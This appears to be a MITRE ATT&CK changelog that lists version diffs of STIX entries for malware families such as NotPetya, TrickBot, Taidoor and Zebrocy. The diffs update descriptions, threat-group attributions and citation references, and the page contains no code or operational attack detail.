| > | d systems. Though [NotPetya](https://attack.mitre.org/softwa | > | ) appears as a form of ransomware, its main purpose was to d | ||
| > | re/S0368) presents itself as a form of ransomware, it appear | > | estroy data and disk structures on compromised systems; the | ||
| > | s likely that the attackers never intended to make the encry | > | attackers never intended to make the encrypted data recovera | ||
| > | pted data recoverable. As such, [NotPetya](https://attack.mi | > | ble. As such, [NotPetya](https://attack.mitre.org/software/S | ||
| > | tre.org/software/S0368) may be more appropriately thought of | > | 0368) may be more appropriately thought of as a form of wipe | ||
| > | as a form of wiper malware. [NotPetya](https://attack.mitre | > | r malware. [NotPetya](https://attack.mitre.org/software/S036 | ||
| > | .org/software/S0368) contains worm-like features to spread i | > | 8) contains worm-like features to spread itself across a com | ||
| > | tself across a computer network using the SMBv1 exploits Ete | > | puter network using the SMBv1 exploits EternalBlue and Etern | ||
| > | rnalBlue and EternalRomance.(Citation: Talos Nyetya June 201 | > | alRomance.(Citation: Talos Nyetya June 2017)(Citation: US-CE | ||
| > | 7)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPe | > | RT NotPetya 2017)(Citation: ESET Telebots June 2017)(Citatio | ||
| > | tya 2017)(Citation: ESET Telebots June 2017) | > | n: US District Court Indictment GRU Unit 74455 October 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-18 20:27:49.511000+00:00 | 2021-04-23 19:31:47.185000+00:00 |
| description | [NotPetya](https://attack.mitre.org/software/S0368) is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though [NotPetya](https://attack.mitre.org/software/S0368) presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017) | [NotPetya](https://attack.mitre.org/software/S0368) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) in a worldwide attack starting on June 27, 2017. While [NotPetya](https://attack.mitre.org/software/S0368) appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020) |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'US District Court Indictment GRU Unit 74455 October 2020', 'description': 'Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.', 'url': 'https://www.justice.gov/opa/press-release/file/1328521/download'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Octopus](https://attack.mitre.org/software/S0340) is a Wind | t | 1 | [Octopus](https://attack.mitre.org/software/S0340) is a Wind |
| > | ows Trojan.(Citation: Securelist Octopus Oct 2018) | > | ows Trojan written in the Delphi programming language that h | ||
| > | as been used by [Nomadic Octopus](https://attack.mitre.org/g | ||||
| > | roups/G0133) to target government organizations in Central A | ||||
| > | sia since at least 2014.(Citation: Securelist Octopus Oct 20 | ||||
| > | 18)(Citation: Security Affairs DustSquad Oct 2018)(Citation: | ||||
| > | ESET Nomadic Octopus 2018) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 18:57:08.610000+00:00 | 2021-10-15 02:42:45.953000+00:00 |
| description | [Octopus](https://attack.mitre.org/software/S0340) is a Windows Trojan.(Citation: Securelist Octopus Oct 2018) | [Octopus](https://attack.mitre.org/software/S0340) is a Windows Trojan written in the Delphi programming language that has been used by [Nomadic Octopus](https://attack.mitre.org/groups/G0133) to target government organizations in Central Asia since at least 2014.(Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018) |
| external_references[1]['description'] | (Citation: Securelist Octopus Oct 2018) | (Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018) |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Security Affairs DustSquad Oct 2018', 'description': 'Paganini, P. (2018, October 16). Russia-linked APT group DustSquad targets diplomatic entities in Central Asia. Retrieved August 24, 2021.', 'url': 'https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html'} | |
| external_references | {'source_name': 'ESET Nomadic Octopus 2018', 'description': 'Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf'} |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Olympic Destroyer](https://attack.mitre.org/software/S0365) | t | 1 | [Olympic Destroyer](https://attack.mitre.org/software/S0365) |
| > | is malware that was first seen infecting computer systems a | > | is malware that was used by [Sandworm Team](https://attack. | ||
| > | t the 2018 Winter Olympics, held in Pyeongchang, South Korea | > | mitre.org/groups/G0034) against the 2018 Winter Olympics, he | ||
| > | . The main purpose of the malware appears to be to cause des | > | ld in Pyeongchang, South Korea. The main purpose of the malw | ||
| > | tructive impact to the affected systems. The malware leverag | > | are was to render infected computer systems inoperable. The | ||
| > | es various native Windows utilities and API calls to carry o | > | malware leverages various native Windows utilities and API c | ||
| > | ut its destructive tasks. The malware has worm-like features | > | alls to carry out its destructive tasks. [Olympic Destroyer] | ||
| > | to spread itself across a computer network in order to maxi | > | (https://attack.mitre.org/software/S0365) has worm-like feat | ||
| > | mize its destructive impact.(Citation: Talos Olympic Destroy | > | ures to spread itself across a computer network in order to | ||
| > | er 2018) | > | maximize its destructive impact.(Citation: Talos Olympic Des | ||
| > | troyer 2018)(Citation: US District Court Indictment GRU Unit | ||||
| > | 74455 October 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 17:57:57.273000+00:00 | 2021-04-23 19:32:38.936000+00:00 |
| description | [Olympic Destroyer](https://attack.mitre.org/software/S0365) is malware that was first seen infecting computer systems at the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware appears to be to cause destructive impact to the affected systems. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. The malware has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018) | [Olympic Destroyer](https://attack.mitre.org/software/S0365) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) against the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware was to render infected computer systems inoperable. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. [Olympic Destroyer](https://attack.mitre.org/software/S0365) has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018)(Citation: US District Court Indictment GRU Unit 74455 October 2020) |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'US District Court Indictment GRU Unit 74455 October 2020', 'description': 'Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.', 'url': 'https://www.justice.gov/opa/press-release/file/1328521/download'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [PoetRAT](https://attack.mitre.org/software/S0428) is a Pyth | t | 1 | [PoetRAT](https://attack.mitre.org/software/S0428) is a remo |
| > | on-based remote access trojan (RAT) used in multiple campaig | > | te access trojan (RAT) that was first identified in April 20 | ||
| > | ns against the private and public sectors in Azerbaijan, spe | > | 20. [PoetRAT](https://attack.mitre.org/software/S0428) has b | ||
| > | cifically ICS and SCADA systems in the energy sector. [PoetR | > | een used in multiple campaigns against the private and publi | ||
| > | AT](https://attack.mitre.org/software/S0428) derived its nam | > | c sectors in Azerbaijan, including ICS and SCADA systems in | ||
| > | e from references in the code to poet William Shakespeare.(C | > | the energy sector. The STIBNITE activity group has been obse | ||
| > | itation: Talos PoetRAT April 2020) | > | rved using the malware. [PoetRAT](https://attack.mitre.org/s | ||
| > | oftware/S0428) derived its name from references in the code | ||||
| > | to poet William Shakespeare. (Citation: Talos PoetRAT April | ||||
| > | 2020)(Citation: Talos PoetRAT October 2020)(Citation: Dragos | ||||
| > | Threat Report 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-30 18:13:47.841000+00:00 | 2021-04-24 21:20:30.634000+00:00 |
| description | [PoetRAT](https://attack.mitre.org/software/S0428) is a Python-based remote access trojan (RAT) used in multiple campaigns against the private and public sectors in Azerbaijan, specifically ICS and SCADA systems in the energy sector. [PoetRAT](https://attack.mitre.org/software/S0428) derived its name from references in the code to poet William Shakespeare.(Citation: Talos PoetRAT April 2020) | [PoetRAT](https://attack.mitre.org/software/S0428) is a remote access trojan (RAT) that was first identified in April 2020. [PoetRAT](https://attack.mitre.org/software/S0428) has been used in multiple campaigns against the private and public sectors in Azerbaijan, including ICS and SCADA systems in the energy sector. The STIBNITE activity group has been observed using the malware. [PoetRAT](https://attack.mitre.org/software/S0428) derived its name from references in the code to poet William Shakespeare. (Citation: Talos PoetRAT April 2020)(Citation: Talos PoetRAT October 2020)(Citation: Dragos Threat Report 2020) |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Talos PoetRAT October 2020', 'description': 'Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021.', 'url': 'https://blog.talosintelligence.com/2020/10/poetrat-update.html'} | |
| external_references | {'source_name': 'Dragos Threat Report 2020', 'description': 'Dragos. (n.d.). ICS Cybersecurity Year in Review 2020. Retrieved February 25, 2021.', 'url': 'https://hub.dragos.com/hubfs/Year-in-Review/Dragos_2020_ICS_Cybersecurity_Year_In_Review.pdf?hsCtaTracking=159c0fc3-92d8-425d-aeb8-12824f2297e8%7Cf163726d-579b-4996-9a04-44e5a124d770'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [SDBot](https://attack.mitre.org/software/S0461) is a backdo | t | 1 | [SDBbot](https://attack.mitre.org/software/S0461) is a backd |
| > | or with installer and loader components that has been used b | > | oor with installer and loader components that has been used | ||
| > | y [TA505](https://attack.mitre.org/groups/G0092) since at le | > | by [TA505](https://attack.mitre.org/groups/G0092) since at l | ||
| > | ast 2019.(Citation: Proofpoint TA505 October 2019)(Citation: | > | east 2019.(Citation: Proofpoint TA505 October 2019)(Citation | ||
| > | IBM TA505 April 2020) | > | : IBM TA505 April 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-17 19:40:20.251000+00:00 | 2021-03-29 20:35:47.468000+00:00 |
| name | SDBot | SDBbot |
| description | [SDBot](https://attack.mitre.org/software/S0461) is a backdoor with installer and loader components that has been used by [TA505](https://attack.mitre.org/groups/G0092) since at least 2019.(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020) | [SDBbot](https://attack.mitre.org/software/S0461) is a backdoor with installer and loader components that has been used by [TA505](https://attack.mitre.org/groups/G0092) since at least 2019.(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020) |
| x_mitre_aliases[0] | SDBot | SDBbot |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [SEASHARPEE](https://attack.mitre.org/software/S0185) is a W | t | 1 | [SEASHARPEE](https://attack.mitre.org/software/S0185) is a W |
| > | eb shell that has been used by [APT34](https://attack.mitre. | > | eb shell that has been used by [OilRig](https://attack.mitre | ||
| > | org/groups/G0057). (Citation: FireEye APT34 Webinar Dec 2017 | > | .org/groups/G0049). (Citation: FireEye APT34 Webinar Dec 201 | ||
| > | ) | > | 7) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:08:50.209000+00:00 | 2021-04-23 20:29:59.216000+00:00 |
| description | [SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell that has been used by [APT34](https://attack.mitre.org/groups/G0057). (Citation: FireEye APT34 Webinar Dec 2017) | [SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell that has been used by [OilRig](https://attack.mitre.org/groups/G0049). (Citation: FireEye APT34 Webinar Dec 2017) |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Taidoor](https://attack.mitre.org/software/S0011) is malwar | t | 1 | [Taidoor](https://attack.mitre.org/software/S0011) is a remo |
| > | e that has been used since at least 2010, primarily to targe | > | te access trojan (RAT) that has been used by Chinese governm | ||
| > | t Taiwanese government organizations. (Citation: TrendMicro | > | ent cyber actors to maintain access on victim networks.(Cita | ||
| > | Taidoor) | > | tion: CISA MAR-10292089-1.v2 TAIDOOR August 2021) [Taidoor]( | ||
| > | https://attack.mitre.org/software/S0011) has primarily been | ||||
| > | used against Taiwanese government organizations since at lea | ||||
| > | st 2010.(Citation: TrendMicro Taidoor) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:21:09.468000+00:00 | 2021-10-15 12:34:22.853000+00:00 |
| description | [Taidoor](https://attack.mitre.org/software/S0011) is malware that has been used since at least 2010, primarily to target Taiwanese government organizations. (Citation: TrendMicro Taidoor) | [Taidoor](https://attack.mitre.org/software/S0011) is a remote access trojan (RAT) that has been used by Chinese government cyber actors to maintain access on victim networks.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021) [Taidoor](https://attack.mitre.org/software/S0011) has primarily been used against Taiwanese government organizations since at least 2010.(Citation: TrendMicro Taidoor) |
| external_references[1]['source_name'] | TrendMicro Taidoor | CISA MAR-10292089-1.v2 TAIDOOR August 2021 |
| external_references[1]['description'] | Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014. | CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 – Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021. |
| external_references[1]['url'] | http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf | https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'TrendMicro Taidoor', 'description': 'Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.', 'url': 'http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf'} |
Current version: 2.0
Version changed from: 1.3 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [TrickBot](https://attack.mitre.org/software/S0266) is a Tro | t | 1 | [TrickBot](https://attack.mitre.org/software/S0266) is a Tro |
| > | jan spyware program that has mainly been used for targeting | > | jan spyware program written in C++ that first emerged in Sep | ||
| > | banking sites in United States, Canada, UK, Germany, Austral | > | tember 2016 as a possible successor to [Dyre](https://attack | ||
| > | ia, Austria, Ireland, London, Switzerland, and Scotland. Tri | > | .mitre.org/software/S0024). [TrickBot](https://attack.mitre. | ||
| > | ckBot first emerged in the wild in September 2016 and appear | > | org/software/S0266) was developed and initially used by [Wiz | ||
| > | s to be a successor to [Dyre](https://attack.mitre.org/softw | > | ard Spider](https://attack.mitre.org/groups/G0102) for targe | ||
| > | are/S0024). [TrickBot](https://attack.mitre.org/software/S02 | > | ting banking sites in North America, Australia, and througho | ||
| > | 66) is developed in the C++ programming language. (Citation: | > | ut Europe; it has since been used against all sectors worldw | ||
| > | S2 Grupo TrickBot June 2017) (Citation: Fidelis TrickBot Oc | > | ide as part of "big game hunting" ransomware campaigns.(Cita | ||
| > | t 2016) (Citation: IBM TrickBot Nov 2016) | > | tion: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBo | ||
| > | t Oct 2016)(Citation: IBM TrickBot Nov 2016)(Citation: Crowd | ||||
| > | Strike Wizard Spider October 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-17 15:06:16.817000+00:00 | 2021-10-01 14:19:20.660000+00:00 |
| description | [TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program that has mainly been used for targeting banking sites in United States, Canada, UK, Germany, Australia, Austria, Ireland, London, Switzerland, and Scotland. TrickBot first emerged in the wild in September 2016 and appears to be a successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) is developed in the C++ programming language. (Citation: S2 Grupo TrickBot June 2017) (Citation: Fidelis TrickBot Oct 2016) (Citation: IBM TrickBot Nov 2016) | [TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) was developed and initially used by [Wizard Spider](https://attack.mitre.org/groups/G0102) for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of "big game hunting" ransomware campaigns.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: IBM TrickBot Nov 2016)(Citation: CrowdStrike Wizard Spider October 2020) |
| external_references[7]['source_name'] | Trend Micro Totbrick Oct 2016 | CrowdStrike Wizard Spider October 2020 |
| external_references[7]['description'] | Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018. | Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021. |
| external_references[7]['url'] | https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n | https://www.crowdstrike.com/blog/wizard-spider-adversary-update/ |
| external_references[8]['source_name'] | TrendMicro Trickbot Feb 2019 | Trend Micro Totbrick Oct 2016 |
| external_references[8]['description'] | Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019. | Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018. |
| external_references[8]['url'] | https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/ | https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n |
| external_references[9]['source_name'] | Microsoft Totbrick Oct 2017 | TrendMicro Trickbot Feb 2019 |
| external_references[9]['description'] | Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018. | Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019. |
| external_references[9]['url'] | https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick | https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/ |
| x_mitre_version | 1.3 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Totbrick Oct 2017', 'description': 'Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.', 'url': 'https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick'} | |
| x_mitre_contributors | Daniyal Naeem, BT Security |
Current version: 3.0
Version changed from: 2.1 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Zebrocy](https://attack.mitre.org/software/S0251) is a Troj | t | 1 | [Zebrocy](https://attack.mitre.org/software/S0251) is a Troj |
| > | an that has been used by [APT28](https://attack.mitre.org/gr | > | an that has been used by [APT28](https://attack.mitre.org/gr | ||
| > | oups/G0007) since at least November 2015. The malware comes | > | oups/G0007) since at least November 2015. The malware comes | ||
| > | in several programming language variants, including C++, Del | > | in several programming language variants, including C++, Del | ||
| > | phi, AutoIt, C#, and VB.NET. (Citation: Palo Alto Sofacy 06- | > | phi, AutoIt, C#, VB.NET, and Golang. (Citation: Palo Alto So | ||
| > | 2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sof | > | facy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Un | ||
| > | acy Dec 2018) | > | it42 Sofacy Dec 2018)(Citation: CISA Zebrocy Oct 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 03:06:29.968000+00:00 | 2021-04-23 19:45:36.003000+00:00 |
| description | [Zebrocy](https://attack.mitre.org/software/S0251) is a Trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, and VB.NET. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018) | [Zebrocy](https://attack.mitre.org/software/S0251) is a Trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, VB.NET, and Golang. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: CISA Zebrocy Oct 2020) |
| external_references[6]['source_name'] | CyberScoop APT28 Nov 2018 | CISA Zebrocy Oct 2020 |
| external_references[6]['description'] | Shoorbajee, Z. (2018, November 29). Accenture: Russian hackers using Brexit talks to disguise phishing lures. Retrieved July 16, 2019. | CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020. |
| external_references[6]['url'] | https://www.cyberscoop.com/apt28-brexit-phishing-accenture/ | https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b |
| external_references[7]['source_name'] | Accenture SNAKEMACKEREL Nov 2018 | CyberScoop APT28 Nov 2018 |
| external_references[7]['description'] | Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019. | Shoorbajee, Z. (2018, November 29). Accenture: Russian hackers using Brexit talks to disguise phishing lures. Retrieved July 16, 2019. |
| external_references[7]['url'] | https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50 | https://www.cyberscoop.com/apt28-brexit-phishing-accenture/ |
| x_mitre_version | 2.1 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Accenture SNAKEMACKEREL Nov 2018', 'description': 'Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.', 'url': 'https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-28 23:41:03.616000+00:00 | 2021-04-21 02:04:30.060000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Aria-body](https://attack.mitre.org/software/S0456) is a cu | t | 1 | [Aria-body](https://attack.mitre.org/software/S0456) is a cu |
| > | stom backdoor that has been used by [Naikon](https://attack. | > | stom backdoor that has been used by [Naikon](https://attack. | ||
| > | mitre.org/groups/G0019).(Citation: CheckPoint Naikon May 202 | > | mitre.org/groups/G0019) since approximately 2017.(Citation: | ||
| > | 0) | > | CheckPoint Naikon May 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-03 21:52:44.685000+00:00 | 2021-08-19 17:58:43.342000+00:00 |
| description | [Aria-body](https://attack.mitre.org/software/S0456) is a custom backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019).(Citation: CheckPoint Naikon May 2020) | [Aria-body](https://attack.mitre.org/software/S0456) is a custom backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since approximately 2017.(Citation: CheckPoint Naikon May 2020) |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 15:06:31.915000+00:00 | 2021-03-12 17:26:12.324000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Bisonal](https://attack.mitre.org/software/S0268) is malwar | t | 1 | [Bisonal](https://attack.mitre.org/software/S0268) is malwar |
| > | e that has been used in attacks against targets in Russia, S | > | e that has been used in attacks against targets in Russia, S | ||
| > | outh Korea, and Japan. It has been observed in the wild sinc | > | outh Korea, and Japan. It has been observed in the wild sinc | ||
| > | e 2014. (Citation: Unit 42 Bisonal July 2018) | > | e 2014.(Citation: Unit 42 Bisonal July 2018) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:38:49.119000+00:00 | 2021-10-17 16:05:26.618000+00:00 |
| description | [Bisonal](https://attack.mitre.org/software/S0268) is malware that has been used in attacks against targets in Russia, South Korea, and Japan. It has been observed in the wild since 2014. (Citation: Unit 42 Bisonal July 2018) | [Bisonal](https://attack.mitre.org/software/S0268) is malware that has been used in attacks against targets in Russia, South Korea, and Japan. It has been observed in the wild since 2014.(Citation: Unit 42 Bisonal July 2018) |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-18 20:43:34.069000+00:00 | 2021-04-26 15:59:03.034000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-06 15:18:53.409000+00:00 | 2021-10-16 20:26:31.452000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-10 21:37:48.548000+00:00 | 2021-08-25 20:08:29.545000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 21:32:10.278000+00:00 | 2021-04-25 15:46:06.354000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-06 14:40:26.004000+00:00 | 2020-12-23 19:34:12.017000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Crimson](https://attack.mitre.org/software/S0115) is malwar | t | 1 | [Crimson](https://attack.mitre.org/software/S0115) is a remo |
| > | e used as part of a campaign known as Operation Transparent | > | te access Trojan that has been used by [Transparent Tribe](h | ||
| > | Tribe that targeted Indian diplomatic and military victims. | > | ttps://attack.mitre.org/groups/G0134) since at least 2016.(C | ||
| > | (Citation: Proofpoint Operation Transparent Tribe March 2016 | > | itation: Proofpoint Operation Transparent Tribe March 2016)( | ||
| > | ) | > | Citation: Kaspersky Transparent Tribe August 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 15:25:59.334000+00:00 | 2021-10-15 18:54:53.268000+00:00 |
| description | [Crimson](https://attack.mitre.org/software/S0115) is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims. (Citation: Proofpoint Operation Transparent Tribe March 2016) | [Crimson](https://attack.mitre.org/software/S0115) is a remote access Trojan that has been used by [Transparent Tribe](https://attack.mitre.org/groups/G0134) since at least 2016.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020) |
| external_references[1]['source_name'] | Proofpoint Operation Transparent Tribe March 2016 | MSIL/Crimson |
| external_references[1]['description'] | Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016. | (Citation: Proofpoint Operation Transparent Tribe March 2016) |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Proofpoint Operation Transparent Tribe March 2016', 'description': 'Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.', 'url': 'https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf'} | |
| external_references | {'source_name': 'Kaspersky Transparent Tribe August 2020', 'description': 'Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.', 'url': 'https://securelist.com/transparent-tribe-part-1/98127/'} |
